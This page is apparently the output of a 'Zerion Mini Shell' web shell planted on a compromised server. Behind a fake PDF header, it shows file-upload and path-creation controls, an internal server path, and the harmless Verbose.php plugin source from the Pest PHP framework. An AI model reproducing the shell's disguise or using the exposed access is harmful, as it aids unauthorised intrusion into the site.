%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/vacivi36/vittasync.vacivitta.com.br/vittasync/vendor/pestphp/pest/src/Plugins/
Upload File :
Create Path :
Current File : /home/vacivi36/vittasync.vacivitta.com.br/vittasync/vendor/pestphp/pest/src/Plugins/Verbose.php

<?php

declare(strict_types=1);

namespace Pest\Plugins;

use Pest\Contracts\Plugins\HandlesArguments;

/**
 * @internal
 */
final class Verbose implements HandlesArguments
{
    use Concerns\HandleArguments;

    /**
     * The list of verbosity levels.
     */
    private const VERBOSITY_LEVELS = ['v', 'vv', 'vvv', 'q'];

    /**
     * {@inheritDoc}
     */
    public function handleArguments(array $arguments): array
    {
        foreach (self::VERBOSITY_LEVELS as $level) {
            if ($this->hasArgument('-'.$level, $arguments)) {
                $arguments = $this->popArgument('-'.$level, $arguments);
            }
        }

        if ($this->hasArgument('--quiet', $arguments)) {
            return $this->popArgument('--quiet', $arguments);
        }

        return $arguments;
    }
}

Zerion Mini Shell 1.0